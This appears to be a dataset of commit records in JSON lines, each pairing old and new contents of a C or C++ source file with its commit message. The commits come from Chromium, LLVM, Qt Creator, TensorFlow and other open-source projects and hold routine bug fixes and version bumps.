{"commit":"20539f35218d24ec960e37b70927849f30c344f0","old_file":"net\/flip\/flip_bitmasks.h","new_file":"net\/flip\/flip_bitmasks.h","old_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_FLIP_FLIP_BITMASKS_H_\n#define NET_FLIP_FLIP_BITMASKS_H_\n\nnamespace flip {\n\nconst int kStreamIdMask = 0x7fffffff;  \/\/ StreamId mask from the FlipHeader\nconst int kControlFlagMask = 0x8000;   \/\/ Control flag mask from the FlipHeader\nconst int kPriorityMask = 0xc0;        \/\/ Priority mask from the SYN_FRAME\nconst int kLengthMask = 0xffffff;      \/\/ Mask the lower 24 bits.\n\n}  \/\/ flip\n\n#endif  \/\/ NET_FLIP_FLIP_BITMASKS_H_\n\n","new_contents":"\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef NET_FLIP_FLIP_BITMASKS_H_\n#define NET_FLIP_FLIP_BITMASKS_H_\n\nnamespace flip {\n\nconst unsigned int kStreamIdMask = 0x7fffffff;  \/\/ StreamId mask from the FlipHeader\nconst unsigned int kControlFlagMask = 0x8000;   \/\/ Control flag mask from the FlipHeader\nconst unsigned int kPriorityMask = 0xc0;        \/\/ Priority mask from the SYN_FRAME\nconst unsigned int kLengthMask = 0xffffff;      \/\/ Mask the lower 24 bits.\n\n}  \/\/ flip\n\n#endif  \/\/ NET_FLIP_FLIP_BITMASKS_H_\n","subject":"Fix signed vs unsigned issue","message":"linux: Fix signed vs unsigned issue\n\nReview URL: http:\/\/codereview.chromium.org\/297015\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@30099 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: 86a9c861257cd0e752a713d61f3f4a14473acfa2","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"f285f813cc3d270186ea4789da82cb8b8c9ff1f9","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    6\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  false\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       8\n#define CLIENT_VERSION_REVISION    7\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Mark Devcoin release version 0.8.7.0.","message":"Mark Devcoin release version 0.8.7.0.\n","lang":"C","license":"mit","repos":"coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin,coinzen\/devcoin"}
{"commit":"5ffcc6ae21937e80848d6e37b23734aa999ab6af","old_file":"src\/ucc\/filemodes.h","new_file":"src\/ucc\/filemodes.h","old_contents":"#define FILEMODES \\\n\tX(preproc, \"c\", 'i') \\\n\tX(compile, \"cpp-output\", 's') \\\n\tX(assemb, \"assembler\", 'o') \\\n\tALIAS(assemb, \"asm\") \\\n\tX(assemb_with_cpp, \"assembler-with-cpp\", 'o') \\\n\tALIAS(assemb_with_cpp, \"asm-with-cpp\") \\\n","new_contents":"#ifndef FILEMODES_H\n#define FILEMODES_H\n\n#define FILEMODES \\\n\tX(preproc, \"c\", 'i') \\\n\tX(compile, \"cpp-output\", 's') \\\n\tX(assemb, \"assembler\", 'o') \\\n\tALIAS(assemb, \"asm\") \\\n\tX(assemb_with_cpp, \"assembler-with-cpp\", 'o') \\\n\tALIAS(assemb_with_cpp, \"asm-with-cpp\")\n\n#endif\n","subject":"Fix filesmodes multiple-inc and backslash-eof","message":"Fix filesmodes multiple-inc and backslash-eof\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"6a5388550ed2d5d5efcce1e164391eafe528dba1","old_file":"tree\/ntuple\/inc\/LinkDef.h","new_file":"tree\/ntuple\/inc\/LinkDef.h","old_contents":"\/\/ Author: Jakob Blomer CERN 10\/2018\n\n\/*************************************************************************\n * Copyright (C) 1995-2018, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CLING__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ nestedtypedefs;\n#pragma link C++ nestedclasses;\n\n\/\/ Support for auto-loading in the RNTuple tutorials\n#pragma link C++ class ROOT::Experimental::Detail::RFieldBase-;\n#pragma link C++ class ROOT::Experimental::Detail::RFieldBase::RSchemaIterator-;\n#pragma link C++ class ROOT::Experimental::RFieldVector-;\n#pragma link C++ class ROOT::Experimental::RNTupleReader-;\n#pragma link C++ class ROOT::Experimental::RNTupleWriter-;\n#pragma link C++ class ROOT::Experimental::RNTupleModel-;\n\n#pragma link C++ class ROOT::Experimental::RNTuple+;\n\n#endif\n","new_contents":"\/\/ Author: Jakob Blomer CERN 10\/2018\n\n\/*************************************************************************\n * Copyright (C) 1995-2018, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifdef __CLING__\n\n#pragma link off all globals;\n#pragma link off all classes;\n#pragma link off all functions;\n\n#pragma link C++ nestedtypedefs;\n#pragma link C++ nestedclasses;\n\n\/\/ Support for auto-loading in the RNTuple tutorials\n#pragma link C++ class ROOT::Experimental::Detail::RFieldBase-;\n#pragma link C++ class ROOT::Experimental::Detail::RFieldBase::RSchemaIterator-;\n#pragma link C++ class ROOT::Experimental::RVectorField-;\n#pragma link C++ class ROOT::Experimental::RNTupleReader-;\n#pragma link C++ class ROOT::Experimental::RNTupleWriter-;\n#pragma link C++ class ROOT::Experimental::RNTupleModel-;\n\n#pragma link C++ class ROOT::Experimental::RNTuple+;\n\n#endif\n","subject":"Fix class name spelling in class rule","message":"[ntuple] Fix class name spelling in class rule\n","lang":"C","license":"lgpl-2.1","repos":"karies\/root,karies\/root,karies\/root,root-mirror\/root,karies\/root,olifre\/root,root-mirror\/root,root-mirror\/root,olifre\/root,olifre\/root,karies\/root,root-mirror\/root,root-mirror\/root,olifre\/root,root-mirror\/root,root-mirror\/root,olifre\/root,karies\/root,olifre\/root,olifre\/root,karies\/root,root-mirror\/root,olifre\/root,karies\/root,olifre\/root,root-mirror\/root,olifre\/root,karies\/root,karies\/root,olifre\/root,karies\/root,root-mirror\/root,root-mirror\/root"}
{"commit":"6e3256887f14fd4b946d37318ddaa37c799dcd17","old_file":"test\/tsan\/thread_exit.c","new_file":"test\/tsan\/thread_exit.c","old_contents":"\/\/ RUN: %clang_tsan -O1 %s -o %t && %run %t 2>&1 | FileCheck %s\n#include \"test.h\"\n\nint var;\n\nvoid *Thread(void *x) {\n  pthread_exit(&var);\n  return 0;\n}\n\nint main() {\n  pthread_t t;\n  pthread_create(&t, 0, Thread, 0);\n  void *retval = 0;\n  pthread_join(t, &retval);\n  if (retval != &var) {\n    fprintf(stderr, \"Unexpected return value\\n\");\n    exit(1);\n  }\n  fprintf(stderr, \"PASS\\n\");\n  return 0;\n}\n\n\/\/ CHECK-NOT: WARNING: ThreadSanitizer:\n\/\/ CHECK: PASS\n","new_contents":"\/\/ RUN: %clang_tsan -O1 %s -o %t && %run %t 2>&1\n\/\/ | FileCheck %s\n#include \"test.h\"\n\nint var;\n\nvoid *Thread(void *x) {\n  fprintf(stderr, \"Thread\\n\");\n  pthread_exit(&var);\n  return 0;\n}\n\nint main() {\n  fprintf(stderr, \"MAIN\\n\");\n  pthread_t t;\n  pthread_create(&t, 0, Thread, 0);\n  void *retval = 0;\n  fprintf(stderr, \"JOIN\\n\");\n  pthread_join(t, &retval);\n  if (retval != &var) {\n    fprintf(stderr, \"Unexpected return value\\n\");\n    exit(1);\n  }\n  fprintf(stderr, \"PASS\\n\");\n  return 0;\n}\n\n\/\/ CHECK-NOT: WARNING: ThreadSanitizer:\n\/\/ CHECK: PASS\n","subject":"Debug failing test on PPC bot","message":"[tsan] Debug failing test on PPC bot\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@353617 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"93a0354f038dd4fb6746376a8a3ec16c776c7826","old_file":"src\/exercise117.c","new_file":"src\/exercise117.c","old_contents":"","new_contents":"\/* Exercise 1-17: Write a program to print all input lines that are longer\n * than 80 characters. *\/\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#define LINE_LIMIT 80\n\nint main(int argc, char **argv)\n{\n  uint32_t current_line_length = 0;\n  int32_t buffer[LINE_LIMIT] = { 0 };\n  bool buffer_in_use = true;\n  int32_t character = 0;\n  while ((character = getchar()) != EOF) {\n    if (character == '\\n') {\n      if (current_line_length > LINE_LIMIT) {\n        putchar('\\n');\n      }\n      current_line_length = 0;\n      buffer_in_use = true;\n    } else {\n      current_line_length++;\n      if (current_line_length <= LINE_LIMIT) {\n        buffer[current_line_length - 1] = character;\n      } else {\n        if (buffer_in_use == true) {\n          uint32_t i;\n          for (i = 0; i < LINE_LIMIT; ++i) {\n            putchar(buffer[i]);\n          }\n          buffer_in_use = false;\n        }\n        putchar(character);\n      }\n    }\n  }\n  return EXIT_SUCCESS;\n}\n","subject":"Add solution to Exercise 1-17.","message":"Add solution to Exercise 1-17.\n","lang":"C","license":"unlicense","repos":"damiendart\/knr-solutions,damiendart\/knr-solutions,damiendart\/knr-solutions"}
{"commit":"822adf4743536e3c0fac1861fa23e57801ebf3aa","old_file":"core\/formats\/nifti_utils.h","new_file":"core\/formats\/nifti_utils.h","old_contents":"\/* Copyright (c) 2008-2019 the MRtrix3 contributors.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Covered Software is provided under this License on an \"as is\"\n * basis, without warranty of any kind, either expressed, implied, or\n * statutory, including, without limitation, warranties that the\n * Covered Software is free of defects, merchantable, fit for a\n * particular purpose or non-infringing.\n * See the Mozilla Public License v. 2.0 for more details.\n *\n * For more details, see http:\/\/www.mrtrix.org\/.\n *\/\n\n\n#include <string>\n\n#include \"types.h\"\n\n\nnamespace MR\n{\n  namespace Formats\n  {\n\n\n\n    \/*! basic convenience function to determine whether an image path\n     *  corresponds to a NIfTI-format image. *\/\n    inline bool is_nifti (const std::string& path)\n    {\n      static const vector<std::string> exts { \".nii\", \".nii.gz\", \".img\" };\n      for (const auto& ext : exts) {\n        if (path.substr (path.size() - ext.size()) == ext)\n          return true;\n      }\n      return false;\n    }\n\n\n\n  }\n}\n\n","new_contents":"\/* Copyright (c) 2008-2019 the MRtrix3 contributors.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * Covered Software is provided under this License on an \"as is\"\n * basis, without warranty of any kind, either expressed, implied, or\n * statutory, including, without limitation, warranties that the\n * Covered Software is free of defects, merchantable, fit for a\n * particular purpose or non-infringing.\n * See the Mozilla Public License v. 2.0 for more details.\n *\n * For more details, see http:\/\/www.mrtrix.org\/.\n *\/\n\n\n#include <string>\n\n#include \"types.h\"\n\n\nnamespace MR\n{\n  namespace Formats\n  {\n\n\n\n    \/*! basic convenience function to determine whether an image path\n     *  corresponds to a NIfTI-format image. *\/\n    inline bool is_nifti (const std::string& path)\n    {\n      static const vector<std::string> exts { \".nii\", \".nii.gz\", \".img\" };\n      for (const auto& ext : exts) {\n        if (path.size() >= ext.size() &&\n            path.substr (path.size() - ext.size()) == ext)\n          return true;\n      }\n      return false;\n    }\n\n\n\n  }\n}\n","subject":"Fix for short file names","message":"Formats::is_nifti(): Fix for short file names\n","lang":"C","license":"mpl-2.0","repos":"MRtrix3\/mrtrix3,MRtrix3\/mrtrix3,MRtrix3\/mrtrix3,MRtrix3\/mrtrix3,MRtrix3\/mrtrix3,MRtrix3\/mrtrix3"}
{"commit":"e050411af032f62ce4e4f5775b13607e3c754e4a","old_file":"meta.h","new_file":"meta.h","old_contents":"#pragma once\n#include \"ffmpeg.h\"\n#include <stddef.h>\n#include <stdint.h>\n\nstruct Meta {\n    char const* title;\n    char const* artist;\n};\n\nstruct Meta retrieve_meta(AVFormatContext* ctx);\n","new_contents":"#pragma once\n#include \"ffmpeg.h\"\n#include <stddef.h>\n#include <stdint.h>\n\nstruct Meta {\n    const char const* title;\n    const char const* artist;\n};\n\nstruct Meta retrieve_meta(AVFormatContext* ctx);\n","subject":"Fix incorrect const pointer marking.","message":"Fix incorrect const pointer marking.\n","lang":"C","license":"mit","repos":"bakape\/thumbnailer,bakape\/thumbnailer"}
{"commit":"43fc1531f877c2c7d5369a29b236aa48d6ebe08c","old_file":"src\/plugins\/qmldesigner\/components\/formeditor\/abstractcustomtool.h","new_file":"src\/plugins\/qmldesigner\/components\/formeditor\/abstractcustomtool.h","old_contents":"#ifndef QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n#define QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n\n#include \"abstractformeditortool.h\"\n\nnamespace QmlDesigner {\n\nclass QMLDESIGNERCORE_EXPORT AbstractCustomTool : public QmlDesigner::AbstractFormEditorTool\n{\npublic:\n    AbstractCustomTool();\n\n    void selectedItemsChanged(const QList<FormEditorItem *> &itemList) QTC_OVERRIDE;\n\n    virtual QString name() const = 0;\n\n    virtual int wantHandleItem(const ModelNode &modelNode) const QTC_OVERRIDE = 0;\n};\n\n} \/\/ namespace QmlDesigner\n\n#endif \/\/ QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n","new_contents":"#ifndef QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n#define QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n\n#include \"abstractformeditortool.h\"\n\nnamespace QmlDesigner {\n\nclass QMLDESIGNERCORE_EXPORT AbstractCustomTool : public QmlDesigner::AbstractFormEditorTool\n{\npublic:\n    AbstractCustomTool();\n\n    void selectedItemsChanged(const QList<FormEditorItem *> &itemList) QTC_OVERRIDE;\n\n    virtual QString name() const = 0;\n\n    virtual int wantHandleItem(const ModelNode &modelNode) const = 0;\n};\n\n} \/\/ namespace QmlDesigner\n\n#endif \/\/ QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n","subject":"Remove wrong override for wantHandleItem","message":"QmlDesigner: Remove wrong override for wantHandleItem\n\nChange-Id: I283897f528e03df1d89200906f8d7d8f1066b6d3\nReviewed-by: Friedemann Kleint <1b9f2592239daaec4856ccc1cfb4d2d55b35fb71@digia.com>\nReviewed-by: Thomas Hartmann <588ee739c05aab7547907becfd1420d2b7316069@digia.com>\n","lang":"C","license":"lgpl-2.1","repos":"duythanhphan\/qt-creator,AltarBeastiful\/qt-creator,danimo\/qt-creator,kuba1\/qtcreator,darksylinc\/qt-creator,amyvmiwei\/qt-creator,richardmg\/qtcreator,AltarBeastiful\/qt-creator,martyone\/sailfish-qtcreator,amyvmiwei\/qt-creator,martyone\/sailfish-qtcreator,danimo\/qt-creator,colede\/qtcreator,duythanhphan\/qt-creator,danimo\/qt-creator,kuba1\/qtcreator,Distrotech\/qtcreator,xianian\/qt-creator,kuba1\/qtcreator,omniacreator\/qtcreator,amyvmiwei\/qt-creator,malikcjm\/qtcreator,danimo\/qt-creator,malikcjm\/qtcreator,malikcjm\/qtcreator,omniacreator\/qtcreator,colede\/qtcreator,martyone\/sailfish-qtcreator,colede\/qtcreator,omniacreator\/qtcreator,danimo\/qt-creator,richardmg\/qtcreator,darksylinc\/qt-creator,richardmg\/qtcreator,amyvmiwei\/qt-creator,martyone\/sailfish-qtcreator,farseerri\/git_code,kuba1\/qtcreator,AltarBeastiful\/qt-creator,darksylinc\/qt-creator,Distrotech\/qtcreator,xianian\/qt-creator,darksylinc\/qt-creator,kuba1\/qtcreator,maui-packages\/qt-creator,danimo\/qt-creator,xianian\/qt-creator,Distrotech\/qtcreator,Distrotech\/qtcreator,duythanhphan\/qt-creator,darksylinc\/qt-creator,AltarBeastiful\/qt-creator,colede\/qtcreator,xianian\/qt-creator,kuba1\/qtcreator,maui-packages\/qt-creator,farseerri\/git_code,duythanhphan\/qt-creator,farseerri\/git_code,farseerri\/git_code,martyone\/sailfish-qtcreator,danimo\/qt-creator,AltarBeastiful\/qt-creator,xianian\/qt-creator,xianian\/qt-creator,richardmg\/qtcreator,Distrotech\/qtcreator,colede\/qtcreator,amyvmiwei\/qt-creator,kuba1\/qtcreator,omniacreator\/qtcreator,farseerri\/git_code,richardmg\/qtcreator,martyone\/sailfish-qtcreator,amyvmiwei\/qt-creator,danimo\/qt-creator,farseerri\/git_code,AltarBeastiful\/qt-creator,duythanhphan\/qt-creator,darksylinc\/qt-creator,danimo\/qt-creator,omniacreator\/qtcreator,Distrotech\/qtcreator,xianian\/qt-creator,AltarBeastiful\/qt-creator,colede\/qtcreator,martyone\/sailfish-qtcreator,maui-packages\/qt-creator,maui-packages\/qt-creator,martyone\/sailfish-qtcreator,omniacreator\/qtcreator,amyvmiwei\/qt-creator,malikcjm\/qtcreator,colede\/qtcreator,darksylinc\/qt-creator,xianian\/qt-creator,maui-packages\/qt-creator,darksylinc\/qt-creator,xianian\/qt-creator,Distrotech\/qtcreator,maui-packages\/qt-creator,richardmg\/qtcreator,farseerri\/git_code,duythanhphan\/qt-creator,farseerri\/git_code,kuba1\/qtcreator,richardmg\/qtcreator,malikcjm\/qtcreator,amyvmiwei\/qt-creator,kuba1\/qtcreator,AltarBeastiful\/qt-creator,malikcjm\/qtcreator,maui-packages\/qt-creator,malikcjm\/qtcreator,duythanhphan\/qt-creator,omniacreator\/qtcreator,martyone\/sailfish-qtcreator"}
{"commit":"d8c93163ddf1e91bffe0449a66fed3bd47e8844e","old_file":"test\/CFrontend\/2005-02-27-MarkGlobalConstant.c","new_file":"test\/CFrontend\/2005-02-27-MarkGlobalConstant.c","old_contents":"\/\/ RUN: %llvmgcc -xc %s -S -o - | grep 'ctor_.* constant '\n\n\/\/ The synthetic global made by the CFE for big initializer should be marked\n\/\/ constant.\n\nvoid bar();\nvoid foo() {\n  char Blah[] = \"asdlfkajsdlfkajsd;lfkajds;lfkjasd;flkajsd;lkfja;sdlkfjasd\";\n  bar(Blah);\n}\n","new_contents":"\/\/ RUN: %llvmgcc -xc %s -S -o - | grep 'internal constant '\n\n\/\/ The synthetic global made by the CFE for big initializer should be marked\n\/\/ constant.\n\nvoid bar();\nvoid foo() {\n  char Blah[] = \"asdlfkajsdlfkajsd;lfkajds;lfkjasd;flkajsd;lkfja;sdlkfjasd\";\n  bar(Blah);\n}\n","subject":"Fix this regex to match what llvmgcc4 produces also","message":"Fix this regex to match what llvmgcc4 produces also\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@27673 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm"}
{"commit":"953660c5630b5d3bdf4567b68ba6e51929395ee5","old_file":"tensorflow\/core\/platform\/default\/stream_executor_util.h","new_file":"tensorflow\/core\/platform\/default\/stream_executor_util.h","old_contents":"q \/* Copyright 2015 Google Inc. All Rights Reserved.\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n ==============================================================================*\/\n#ifndef TENSORFLOW_PLATFORM_DEFAULT_STREAM_EXECUTOR_UTIL_H_\n#define TENSORFLOW_PLATFORM_DEFAULT_STREAM_EXECUTOR_UTIL_H_\n\n\/\/ IWYU pragma: private, include \"third_party\/tensorflow\/core\/platform\/stream_executor_util.h\"\n\/\/ IWYU pragma: friend third_party\/tensorflow\/core\/platform\/stream_executor_util.h\n\n#include \"tensorflow\/stream_executor\/lib\/status.h\"\n\n    namespace tensorflow {\n\nnamespace gpu = ::perftools::gputools;\n\n\/\/ On the open-source platform, stream_executor currently uses\n\/\/ tensorflow::Status\ninline Status FromStreamExecutorStatus(\n    const perftools::gputools::port::Status& s) {\n  return s;\n}\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_PLATFORM_DEFAULT_STREAM_EXECUTOR_UTIL_H_\n","new_contents":"\/* Copyright 2015 Google Inc. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#ifndef TENSORFLOW_PLATFORM_DEFAULT_STREAM_EXECUTOR_UTIL_H_\n#define TENSORFLOW_PLATFORM_DEFAULT_STREAM_EXECUTOR_UTIL_H_\n\n\/\/ IWYU pragma: private, include \"third_party\/tensorflow\/core\/platform\/stream_executor_util.h\"\n\/\/ IWYU pragma: friend third_party\/tensorflow\/core\/platform\/stream_executor_util.h\n\n#include \"tensorflow\/stream_executor\/lib\/status.h\"\n\n    namespace tensorflow {\n\nnamespace gpu = ::perftools::gputools;\n\n\/\/ On the open-source platform, stream_executor currently uses\n\/\/ tensorflow::Status\ninline Status FromStreamExecutorStatus(\n    const perftools::gputools::port::Status& s) {\n  return s;\n}\n\n}  \/\/ namespace tensorflow\n\n#endif  \/\/ TENSORFLOW_PLATFORM_DEFAULT_STREAM_EXECUTOR_UTIL_H_\n","subject":"Fix build breakage from a typo. Change: 111528530","message":"Fix build breakage from a typo.\nChange: 111528530\n","lang":"C","license":"apache-2.0","repos":"manazhao\/tf_recsys,martinwicke\/tensorflow,manjunaths\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,Carmezim\/tensorflow,Kongsea\/tensorflow,petewarden\/tensorflow_makefile,ppries\/tensorflow,rabipanda\/tensorflow,AnishShah\/tensorflow,dendisuhubdy\/tensorflow,arborh\/tensorflow,Mistobaan\/tensorflow,renyi533\/tensorflow,XueqingLin\/tensorflow,Bulochkin\/tensorflow_pack,Xeralux\/tensorflow,SnakeJenny\/TensorFlow,aselle\/tensorflow,shreyasva\/tensorflow,ZhangXinNan\/tensorflow,petewarden\/tensorflow,pcm17\/tensorflow,ville-k\/tensorflow,ville-k\/tensorflow,freedomtan\/tensorflow,thesuperzapper\/tensorflow,chenjun0210\/tensorflow,ZhangXinNan\/tensorflow,MycChiu\/tensorflow,AnishShah\/tensorflow,ishay2b\/tensorflow,llhe\/tensorflow,cancan101\/tensorflow,benoitsteiner\/tensorflow-opencl,davidzchen\/tensorflow,anand-c-goog\/tensorflow,manazhao\/tf_recsys,Intel-tensorflow\/tensorflow,caisq\/tensorflow,martinbede\/second-sight,sandeepdsouza93\/TensorFlow-15712,abhitopia\/tensorflow,benoitsteiner\/tensorflow-opencl,ppwwyyxx\/tensorflow,Moriadry\/tensorflow,lukas-krecan\/tensorflow,sjperkins\/tensorflow,calebfoss\/tensorflow,apark263\/tensorflow,freedomtan\/tensorflow,johndpope\/tensorflow,snnn\/tensorflow,ppwwyyxx\/tensorflow,davidzchen\/tensorflow,paolodedios\/tensorflow,RyanYoung25\/tensorflow,HKUST-SING\/tensorflow,dongjoon-hyun\/tensorflow,peterbraden\/tensorflow,haeusser\/tensorflow,strint\/tensorflow,krikru\/tensorflow-opencl,jbedorf\/tensorflow,freedomtan\/tensorflow,4Quant\/tensorflow,drpngx\/tensorflow,horance-liu\/tensorflow,ppwwyyxx\/tensorflow,benoitsteiner\/tensorflow-xsmm,jhseu\/tensorflow,elingg\/tensorflow,RyanYoung25\/tensorflow,laosiaudi\/tensorflow,lukeiwanski\/tensorflow,asadziach\/tensorflow,juharris\/tensorflow,mrry\/tensorflow,ageron\/tensorflow,pavelchristof\/gomoku-ai,dhalleine\/tensorflow,eadgarchen\/tensorflow,handroissuazo\/tensorflow,mengxn\/tensorflow,chris-chris\/tensorflow,hehongliang\/tensorflow,ninotoshi\/tensorflow,mdrumond\/tensorflow,laszlocsomor\/tensorflow,alisidd\/tensorflow,pavelchristof\/gomoku-ai,seanli9jan\/tensorflow,jeffzheng1\/tensorflow,tornadozou\/tensorflow,cxxgtxy\/tensorflow,yongtang\/tensorflow,ibab\/tensorflow,av8ramit\/tensorflow,Kongsea\/tensorflow,pcm17\/tensorflow,asimshankar\/tensorflow,hsaputra\/tensorflow,ravindrapanda\/tensorflow,nanditav\/15712-TensorFlow,annarev\/tensorflow,jbedorf\/tensorflow,adamtiger\/tensorflow,hfp\/tensorflow-xsmm,hsaputra\/tensorflow,seaotterman\/tensorflow,yanchen036\/tensorflow,laszlocsomor\/tensorflow,admcrae\/tensorflow,laszlocsomor\/tensorflow,kchodorow\/tensorflow,johndpope\/tensorflow,thjashin\/tensorflow,tomasreimers\/tensorflow-emscripten,DavidNorman\/tensorflow,tiagofrepereira2012\/tensorflow,manjunaths\/tensorflow,dongjoon-hyun\/tensorflow,memo\/tensorflow,wangyum\/tensorflow,sandeepgupta2k4\/tensorflow,tomasreimers\/tensorflow-emscripten,gibiansky\/tensorflow,benoitsteiner\/tensorflow-xsmm,krikru\/tensorflow-opencl,Bismarrck\/tensorflow,mortada\/tensorflow,kobejean\/tensorflow,asimshankar\/tensorflow,pierreg\/tensorflow,wchan\/tensorflow,chenjun0210\/tensorflow,yongtang\/tensorflow,whn09\/tensorflow,anand-c-goog\/tensorflow,anilmuthineni\/tensorflow,hsaputra\/tensorflow,TakayukiSakai\/tensorflow,ivano666\/tensorflow,ghchinoy\/tensorflow,ravindrapanda\/tensorflow,odejesush\/tensorflow,Mistobaan\/tensorflow,tensorflow\/tensorflow-pywrap_saved_model,tensorflow\/tensorflow,hfp\/tensorflow-xsmm,Kongsea\/tensorflow,alistairlow\/tensorflow,karllessard\/tensorflow,dhalleine\/tensorflow,raymondxyang\/tensorflow,pcm17\/tensorflow,tensorflow\/tensorflow-pywrap_tf_optimizer,laosiaudi\/tens